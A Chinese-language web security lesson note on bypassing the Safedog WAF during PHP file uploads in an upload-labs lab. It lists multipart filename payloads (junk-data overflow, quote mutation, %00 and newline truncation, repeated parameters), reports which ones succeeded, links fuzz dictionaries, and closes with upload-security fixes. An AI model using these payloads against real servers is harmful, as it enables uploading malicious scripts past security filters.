本課重點
- 案例1:上傳資料包引數對應修改測試
- 案例2:safedog+雲伺服器+uploadlabs測試
- 案例3:safedog+雲伺服器+uploadlabs_fuzz測試
- 案例4:檔案上傳安全修復方案-函式自定義及WAF
案例1:上傳資料包引數對應修改測試
上傳引數名解析:明確哪些東西能修改?
- Content-Dispostion:一般可更改
- name:表單引數值,不能更改
- filename:檔名,可以更改
- Content-Type:檔案MIME,視情況而定
案例2:safedog+雲伺服器+uploadlabs測試
常見繞過方法:
- 資料溢位-防匹配(xxx...)
- 符號變異-防匹配(' " ;)
- 資料截斷-防匹配(%00 ; 換行)
- 重複資料-防匹配(引數多次)
過safedog之Payload: 大量垃圾資料緩衝溢位(Content-Disposition,filename等) filename=xx.php filename="xx.php filename='xx.php
filename="x".php
filename="x"x.php filename="a.jpg;.php" filename="Content-Disposition:form-data;name="upload_file";x.php" filename="x.jpg";filename="x.jpg";....filename="x.php"; filename="/xxx/x.php" filename= " x . p h p " 主要是學習思路,其他waf繞過可參考思路進行嘗試
案例演示
<1>上傳一個PHP檔案,被safedog攔截,原因是安全狗中配置了相關防護,該防護是通過檢測關鍵字實現的,
<2>方法1:在資料包filename之前,手動加入大量垃圾資料(以分號結尾),造成資料溢位,防止waf匹配關鍵字,從而繞過waf防護。
<3>方法2:使用符號變異的方法,防止waf匹配關鍵字,從而繞過waf防護。比如原來是filename="xx.php",我們可以手動改為filename='xx.php'、filename="xx.php、filename='xx.php、filename=xx.php"、filename=xx.php'、filename=xx.php等形式,嘗試上傳。經過測試,以下三種方式可以繞過safedog檔案防護。
- filename="xx.php
- filename='xx.php
- filename=xx.php
通過以上測試,猜測安全狗防護機制是取filename後面最後一個引號之前的資料與黑名單匹配。此時我們就有了更多思路,比如改為filename="x".php,安全狗會取引號中的x與字尾黑名單進行匹配,成功繞過,上傳到伺服器上的檔名為.php。或者改為filename="x"x.php,此時上傳到伺服器上的檔名為x.php。
<4>方法3:資料截斷-防匹配(%00 ; 換行)
改為filename="x.jpg;.php",成功繞過,此時上傳到伺服器上的檔名為x.jpg;.php。
改為filename="x.php%00.jpg",成功繞過,此時上傳到伺服器上的檔名為x.php%00.jpg,圖片格式,沒啥用。
改為換行繞過,此時上傳到伺服器上的檔名為x.php。
<5>方法4:重複資料-防匹配(引數多次)
改為filename="x.jpg";filename="x.jpg";....filename="x.php";,成功繞過,此時上傳到伺服器上的檔名為x.php。
改為filename="Content-Disposition:form-data;name="upload_file";x.php",成功繞過,此時上傳到伺服器上的檔名為;x.php。
改為filename="Content-Disposition:form-data;name="upload_file"x.php"(去掉了分號),成功繞過,此時上傳到伺服器上的檔名為x.php。
改為filename="Content-Type: image/jpeg;x.php"(去掉了分號),成功繞過,此時上傳到伺服器上的檔名為jpeg;x.php。此處發現/之後的內容可以繞過安全狗檢測。
改為filename="/jpeg;/x.php",成功繞過,此時上傳到伺服器上的檔名為x.php。
案例3:safedog+雲伺服器+uploadlabs_fuzz測試
可以使用模糊字典+Intruder模組,批量測試。
fuzz字典:
- https://github.com/fuzzdb-project/fuzzdb
- https://github.com/TheKingOfDuck/fuzzDicts
- https://github.com/jas502n/fuzz-wooyun-org
- https://github.com/TuuuNya/fuzz_dict
案例4:檔案上傳安全修復方案-函式自定義及WAF
檔案上傳安全修復方案:
- 後端驗證:採用服務端驗證模式
- 字尾檢測:基於黑名單、白名單過濾
- MIME檢測:基於上傳自帶型別檢測
- 內容檢測:檔案頭,完整性校驗
檔案上傳安全修改工具:
- 自帶函式過濾:參考uploadlabs函式
- 自定義函式過濾:function check_file(){}
- WAF防護產品:寶塔、雲盾、安全公司產品等